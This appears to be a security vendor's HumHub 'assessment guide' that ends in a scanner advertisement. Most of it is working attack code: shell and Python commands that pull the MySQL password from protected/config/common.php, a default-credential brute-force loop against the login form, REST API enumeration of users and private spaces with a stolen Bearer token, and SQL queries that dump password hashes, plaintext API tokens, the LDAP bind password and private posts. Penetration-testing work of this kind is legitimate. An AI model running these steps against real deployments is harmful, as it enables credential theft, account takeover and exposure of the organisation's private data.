HumHub is a widely deployed open-source enterprise social network and team collaboration platform — used by organizations as an internal intranet and knowledge sharing tool. Key assessment areas: protected/config/common.php exposes MySQL credentials in the DSN connection string; admin credentials grant full platform control; the REST API uses Bearer tokens; LDAP integration credentials may be extracted from admin settings; and private space content may be accessible. This guide covers systematic HumHub security assessment.
# HumHub — protected/config/common.php MySQL credential extraction
HUMHUB_URL="https://social.example.com"
# protected/config/common.php — HumHub database configuration
cat /var/www/humhub/protected/config/common.php 2>/dev/null
# 'components' => [
# 'db' => [
# 'dsn' => 'mysql:host=localhost;dbname=humhub',
# 'username' => 'humhub',
# 'password' => '...', <-- MySQL database password
# 'charset' => 'utf8mb4',
# ],
# ]
python3 -c "
import re
content = open('/var/www/humhub/protected/config/common.php').read()
patterns = {
'db_password': r\"'password'\s*=>\s*'([^']+)'\",
'db_username': r\"'username'\s*=>\s*'([^']+)'\",
'db_dsn': r\"'dsn'\s*=>\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:80]}')
" 2>/dev/null
# Check runtime log directory for credential leakage
ls -la /var/www/humhub/protected/runtime/logs/ 2>/dev/null | head -10
# app.log may contain database errors with credentials
# HumHub version disclosure
curl -s "${HUMHUB_URL}/index.php?r=about/index" 2>/dev/null | \
grep -oP 'HumHub v?[0-9]+\.[0-9]+\.[0-9]+' | head -1
# Test admin credentials at /user/auth/login
for CRED in "admin:admin" "admin:humhub" "admin@example.com:admin"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
TOKEN=$(curl -s "${HUMHUB_URL}/index.php?r=user/auth/login" | \
grep -oP '_csrf" value="\K[^"]+' | head -1 2>/dev/null)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${HUMHUB_URL}/index.php?r=user/auth/login" \
-d "Login[username]=${USER}&Login[password]=${PASS}&_csrf=${TOKEN}" \
-c /tmp/humhub_c -b /tmp/humhub_c 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# HumHub REST API — Bearer token and admin credential assessment
HUMHUB_URL="https://social.example.com"
# HumHub REST API v1 — Bearer token authentication
# Tokens generated in profile settings: Settings > API tokens
# Generate token via admin: Admin > Users > select user > API Tokens tab
# Get user info with extracted Bearer token
BEARER_TOKEN="extracted-api-token"
curl -s "${HUMHUB_URL}/api/v1/user/me" \
-H "Authorization: Bearer ${BEARER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Username: {d.get(\"account\",{}).get(\"username\")}')
print(f'Email: {d.get(\"account\",{}).get(\"email\")}')
print(f'Admin: {d.get(\"account\",{}).get(\"is_system_admin\")}')
" 2>/dev/null
# Enumerate all users (admin API)
curl -s "${HUMHUB_URL}/api/v1/user?limit=50&page=1" \
-H "Authorization: Bearer ${BEARER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {d.get(\"total\")}')
for u in d.get('results',[])[:5]:
a = u.get('account',{})
p = u.get('profile',{})
print(f' {a.get(\"username\")} | {a.get(\"email\")} | admin={a.get(\"is_system_admin\")}')
" 2>/dev/null
# Enumerate all spaces (groups/communities)
curl -s "${HUMHUB_URL}/api/v1/space?limit=50&page=1" \
-H "Authorization: Bearer ${BEARER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total spaces: {d.get(\"total\")}')
for s in d.get('results',[])[:10]:
print(f' [{s.get(\"visibility\")}] {s.get(\"name\")} — members: {s.get(\"member_count\")}')
" 2>/dev/null
# HumHub MySQL database — user hash, token, and LDAP credential extraction
DB_PASS="extracted-db-password"
mysql -u humhub -p"${DB_PASS}" humhub 2>/dev/null << 'EOF'
-- HumHub users with password hashes
SELECT u.id, u.username, u.email, u.password,
u.status, u.auth_mode, u.created_at, u.last_login
FROM user u
WHERE u.status = 1 -- 1 = enabled
ORDER BY u.id
LIMIT 20;
-- password: SHA-512 bcrypt format ($2y$)
-- auth_mode: 'local', 'ldap', 'saml' — non-local may have empty password
-- API tokens (Bearer tokens for REST API)
SELECT at.id, at.user_id, at.token, at.title,
at.created_at, at.last_used_at, at.expiration,
u.username, u.email
FROM user_auth_token at
JOIN user u ON at.user_id = u.id
WHERE at.expiration IS NULL OR at.expiration > NOW()
ORDER BY at.last_used_at DESC
LIMIT 20;
-- token: plaintext Bearer token for REST API
-- System admin identification
SELECT u.username, u.email, u.password,
g.name as group_name
FROM user u
JOIN group_user gu ON u.id = gu.user_id
JOIN group g ON gu.group_id = g.id
WHERE g.is_admin_group = 1;
-- LDAP configuration (admin credentials for directory access)
SELECT s.name, s.value
FROM setting s
WHERE s.module_id = 'ldap'
AND s.name IN ('password', 'username', 'hostname', 'baseDn', 'loginFilter')
LIMIT 20;
-- password: plaintext LDAP bind DN password
-- Space content (private posts and files)
SELECT c.id, c.object_model, c.space_id,
c.created_by, c.created_at, u.username
FROM content c
JOIN user u ON c.created_by = u.id
WHERE c.visibility = 0 -- 0 = private
ORDER BY c.created_at DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| protected/config/common.php MySQL DSN password extraction | Read /var/www/humhub/protected/config/common.php — database credentials for all user content, posts, messages, and API tokens | Critical |
| user_auth_token plaintext Bearer token extraction | MySQL SELECT token FROM user_auth_token — plaintext REST API Bearer tokens; full API access at token user's permission level including admin tokens | High |
| Admin credential brute-force (admin/admin, admin/humhub) | POST /index.php?r=user/auth/login — admin session; full platform management, user management, module installation, space administration | High |
| LDAP bind DN password extraction from setting table | MySQL SELECT value FROM setting WHERE module_id='ldap' AND name='password' — plaintext LDAP service account credentials for directory access | High |
| REST API private space content and user enumeration | GET /api/v1/space and /api/v1/user — all spaces including private ones; all user emails and admin status; private post content access | Medium |
Ironimo tests HumHub deployments for protected/config/common.php MySQL DSN password web exposure, /protected/runtime/logs/ log file information disclosure, admin/admin credential brute-force at /user/auth/login, user_auth_token plaintext Bearer token extraction (no-expiry tokens), REST API /api/v1/user admin status enumeration, REST API /api/v1/space private space listing, user table SHA-512 bcrypt password hash extraction, LDAP bind DN password extraction from setting table, file upload PHP execution protection verification, and HumHub version disclosure for CVE targeting.
Start free scan